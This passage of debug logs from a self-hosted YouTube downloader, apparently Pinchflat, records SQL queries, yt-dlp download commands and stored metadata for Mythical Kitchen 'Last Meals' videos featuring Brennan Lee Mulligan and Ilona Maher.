s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:46:51.983 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:46:51.984 [debug] QUERY OK source="media_items" db=0.1ms idle=2.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [3] 20:46:51.984 [info] Kicking off download for media item #3 (gn8w1oGCc6o) 20:46:51.985 [debug] QUERY OK source="tasks" db=0.0ms idle=2.2ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [6, 3, ~U[2026-03-28 00:46:51Z], ~U[2026-03-28 00:46:51Z]] 20:46:51.985 [debug] Current batch of media processed. Will check again in 1000ms 20:46:52.431 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=lTEhBL7CetU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d9/60/d960d8e8893ceb7d6c0de267700ce9370e87ee5873d716025bf941a54a3d4673.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:46:52.431 [debug] Running yt-dlp command for action: download 20:46:52.431 [debug] QUERY OK source="settings" db=0.1ms idle=447.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:52.431 [debug] QUERY OK source="settings" db=0.0ms idle=447.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:52.431 [debug] QUERY OK source="settings" db=0.0ms idle=447.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:52.431 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=lTEhBL7CetU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/bd/dc/bddcea8e3d0dccd102eee390752a78656d77f6e34dc23533b48184866ee9dc55.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:46:52.987 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Brennan Lee Mulligan eats his Last Meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFirst Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oJGpzg7kxsA5Xm0a9E8YInt\nCheat Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLH467HdBFcQKbu4jkxxM5Y\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Brennan's Last Meal\n0:19 Casting A Spell On A Horse\n2:36 Have You Thought About Your Last Meal Before?\n3:02 How Often Do You Think About Death?\n5:11 1st Course\n5:29 Dense Food = Good Food\n9:10 Square Slices On Round Pizza Are Wrong\n15:02 Let's Play \"How Do Things Work?\"\n15:58 From Being Bullied to Madison Square Garden\n21:40 2nd Course\n24:40 Parenting & Dragons\n27:23 Not Able To Conform\n30:23 Being A Dungeon Master Is Like Being a Chef\n35:01 3rd Course\n37:08 Brennan Is Not A Classy Guy\n39:46 Pharrell Owes Brennan $50,000\n43:03 Lonely In LA\n45:15 Meeting Izzy Roland ‹3 \n49:49 4th Course\n52:29 Storytelling & Cooking For Others\n54:43 Humor In Language\n58:22 Lessons From Professor Davis\n1:03:15 5th Course\n1:06:05 A Cold Stone Atheist\n1:09:19 Seeing An Angel\n1:12:04 Poetic Truths & Ritual\n1:13:35 What Do You Think Happens When You Die?\n1:15:25 Lightning Round\n1:18:32 Brennan's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "duration" => 4794, "filename" => "/downloads/Last Meals/2025-11-11 Brennan Lee Mulligan Eats His Last Meal/Brennan Lee Mulligan Eats His Last Meal [CLVdWyNljP8].mp4", "id" => "CLVdWyNljP8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=CLVdWyNljP8", "playlist_index" => 4, "timestamp" => 1762858823, "title" => "Brennan Lee Mulligan Eats His Last Meal", "upload_date" => "20251111"} 20:46:52.988 [debug] QUERY OK source="sources" db=0.5ms idle=1001.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:46:52.988 [debug] QUERY OK source="sources" db=0.2ms idle=556.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:46:52.989 [debug] QUERY OK source="media_items" db=0.5ms idle=557.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-11 11:00:23Z], 1] 20:46:52.992 [debug] QUERY OK source="media_items" db=1.8ms idle=558.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Brennan Lee Mulligan eats his Last Meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFirst Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oJGpzg7kxsA5Xm0a9E8YInt\nCheat Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLH467HdBFcQKbu4jkxxM5Y\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Brennan's Last Meal\n0:19 Casting A Spell On A Horse\n2:36 Have You Thought About Your Last Meal Before?\n3:02 How Often Do You Think About Death?\n5:11 1st Course\n5:29 Dense Food = Good Food\n9:10 Square Slices On Round Pizza Are Wrong\n15:02 Let's Play \"How Do Things Work?\"\n15:58 From Being Bullied to Madison Square Garden\n21:40 2nd Course\n24:40 Parenting & Dragons\n27:23 Not Able To Conform\n30:23 Being A Dungeon Master Is Like Being a Chef\n35:01 3rd Course\n37:08 Brennan Is Not A Classy Guy\n39:46 Pharrell Owes Brennan $50,000\n43:03 Lonely In LA\n45:15 Meeting Izzy Roland ‹3 \n49:49 4th Course\n52:29 Storytelling & Cooking For Others\n54:43 Humor In Language\n58:22 Lessons From Professor Davis\n1:03:15 5th Course\n1:06:05 A Cold Stone Atheist\n1:09:19 Seeing An Angel\n1:12:04 Poetic Truths & Ritual\n1:13:35 What Do You Think Happens When You Die?\n1:15:25 Lightning Round\n1:18:32 Brennan's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Brennan Lee Mulligan Eats His Last Meal", "8a552c76-e3fd-42ba-8247-e12346596050", "https://www.youtube.com/watch?v=CLVdWyNljP8", false, "CLVdWyNljP8", 4794, false, 4, "/downloads/Last Meals/2025-11-11 Brennan Lee Mulligan Eats His Last Meal/Brennan Lee Mulligan Eats His Last Meal [CLVdWyNljP8].mp4", false, false, 1, [], 0, ~U[2025-11-11 11:00:23Z], ~U[2026-03-28 00:46:52Z], ~U[2026-03-28 00:46:52Z], "Today, Brennan Lee Mulligan eats his Last Meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFirst Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oJGpzg7kxsA5Xm0a9E8YInt\nCheat Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLH467HdBFcQKbu4jkxxM5Y\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Brennan's Last Meal\n0:19 Casting A Spell On A Horse\n2:36 Have You Thought About Your Last Meal Before?\n3:02 How Often Do You Think About Death?\n5:11 1st Course\n5:29 Dense Food = Good Food\n9:10 Square Slices On Round Pizza Are Wrong\n15:02 Let's Play \"How Do Things Work?\"\n15:58 From Being Bullied to Madison Square Garden\n21:40 2nd Course\n24:40 Parenting & Dragons\n27:23 Not Able To Conform\n30:23 Being A Dungeon Master Is Like Being a Chef\n35:01 3rd Course\n37:08 Brennan Is Not A Classy Guy\n39:46 Pharrell Owes Brennan $50,000\n43:03 Lonely In LA\n45:15 Meeting Izzy Roland ‹3 \n49:49 4th Course\n52:29 Storytelling & Cooking For Others\n54:43 Humor In Language\n58:22 Lessons From Professor Davis\n1:03:15 5th Course\n1:06:05 A Cold Stone Atheist\n1:09:19 Seeing An Angel\n1:12:04 Poetic Truths & Ritual\n1:13:35 What Do You Think Happens When You Die?\n1:15:25 Lightning Round\n1:18:32 Brennan's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Brennan Lee Mulligan Eats His Last Meal", "https://www.youtube.com/watch?v=CLVdWyNljP8", "CLVdWyNljP8", 4794, false, "/downloads/Last Meals/2025-11-11 Brennan Lee Mulligan Eats His Last Meal/Brennan Lee Mulligan Eats His Last Meal [CLVdWyNljP8].mp4", false, 1, ~U[2025-11-11 11:00:23Z]] 20:46:52.992 [debug] QUERY OK source="sources" db=0.1ms idle=34.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:46:52.992 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:46:52.993 [debug] QUERY OK source="media_items" db=0.3ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4] 20:46:52.993 [info] Kicking off download for media item #4 (CLVdWyNljP8) 20:46:52.994 [debug] QUERY OK source="tasks" db=0.0ms idle=1.3ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7, 4, ~U[2026-03-28 00:46:52Z], ~U[2026-03-28 00:46:52Z]] 20:46:52.994 [debug] Current batch of media processed. Will check again in 1000ms 20:46:53.994 [debug] Current batch of media processed. Will check again in 1000ms 20:46:54.996 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Ilona Maher eats her last meal. Thanks again to Kroger for sponsoring this video. #ad #Kroger @KrogerCo \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nChapters\n0:00 Ilona's Last Meal\n0:55 Have You Thought About Your Last Meal Before?\n2:18 How Often Do You Think About Death?\n4:00 1st Course\n6:27 A Sport For Every Body Type\n9:54 Staring Down A Haka\n11:22 TikTok & Marketing Women Sports\n14:35 We're GROCERYHEADS\n15:25 2nd Course\n15:52 Inventing Girl Dinner\n19:50 House Of Maher\n24:46 The Female John Cena\n26:55:00 3rd Course\n27:55 Built for Winter AND Sports Illustrated\n31:40 Food As Fuel\n32:43 Being a Rugby Player & Influencer\n38:02 4th Course\n38:57 Not Having Impostor Syndrome\n41:36 Coaching Male vs Female Athletes\n45:46 The Post-Olympic Blues\n50:13:00 Ilona's Legacy\n50:33:00 What Do You Think Happens When You Die?\n51:37:00 Lightning Round\n54:27:00 Ilona's Last Words\n\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "duration" => 3318, "filename" => "/downloads/Last Meals/2025-12-02 Ilona Maher Eats Her Last Meal/Ilona Maher Eats Her Last Meal [P62Tjxn9NLg].mp4", "id" => "P62Tjxn9NLg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=P62Tjxn9NLg", "playlist_index" => 5, "timestamp" => 1764673253, "title" => "Ilona Maher Eats Her Last Meal", "upload_date" => "20251202"} 20:46:54.996 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=938.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:46:54.997 [debug] QUERY OK source="sources" db=0.2ms idle=939.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:46:54.998 [debug] QUERY OK source="media_items" db=0.2ms idle=940.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-02 11:00:53Z], 1] 20:46:55.001 [debug] QUERY OK source="media_items" db=2.6ms idle=940.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Ilona Maher eats her last meal. Thanks again to Kroger for sponsoring this video. #ad #Kroger @KrogerCo \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nChapters\n0:00 Ilona's Last Meal\n0:55 Have You Thought About Your Last Meal Before?\n2:18 How Often Do You Think About Death?\n4:00 1st Course\n6:27 A Sport For Every Body Type\n9:54 Staring Down A Haka\n11:22 TikTok & Marketing Women Sports\n14:35 We're GROCERYHEADS\n15:25 2nd Course\n15:52 Inventing Girl Dinner\n19:50 House Of Maher\n24:46 The Female John Cena\n26:55:00 3rd Course\n27:55 Built for Winter AND Sports Illustrated\n31:40 Food As Fuel\n32:43 Being a Rugby Player & Influencer\n38:02 4th Course\n38:57 Not Having Impostor Syndrome\n41:36 Coaching Male vs Female Athletes\n45:46 The Post-Olympic Blues\n50:13:00 Ilona's Legacy\n50:33:00 What Do You Think Happens When You Die?\n51:37:00 Lightning Round\n54:27:00 Ilona's Last Words\n\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Ilona Maher Eats Her Last Meal", "435d2056-9fa1-4f9a-885c-23c036103338", "https://www.youtube.com/watch?v=P62Tjxn9NLg", false, "P62Tjxn9NLg", 3318, false, 5, "/downloads/Last Meals/2025-12-02 Ilona Maher Eats Her Last Meal/Ilona Maher Eats Her Last Meal [P62Tjxn9NLg].mp4", false, false, 1, [], 0, ~U[2025-12-02 11:00:53Z], ~U[2026-03-28 00:46:54Z], ~U[2026-03-28 00:46:54Z], "Today, Ilona Maher eats her last meal. Thanks again to Kroger for sponsoring this video. #ad #Kroger @KrogerCo \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nChapters\n0:00 Ilona's Last Meal\n0:55 Have You Thought About Your Last Meal Before?\n2:18 How Often Do You Think About Death?\n4:00 1st Course\n6:27 A Sport For Every Body Type\n9:54 Staring Down A Haka\n11:22 TikTok & Marketing Women Sports\n14:35 We're GROCERYHEADS\n15:25 2nd Course\n15:52 Inventing Girl Dinner\n19:50 House Of Maher\n24:46 The Female John Cena\n26:55:00 3rd Course\n27:55 Built for Winter AND Sports Illustrated\n31:40 Food As Fuel\n32:43 Being a Rugby Player & Influencer\n38:02 4th Course\n38:57 Not Having Impostor Syndrome\n41:36 Coaching Male vs Female Athletes\n45:46 The Post-Olympic Blues\n50:13:00 Ilona's Legacy\n50:33:00 What Do You Think Happens When You Die?\n51:37:00 Lightning Round\n54:27:00 Ilona's Last Words\n\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: 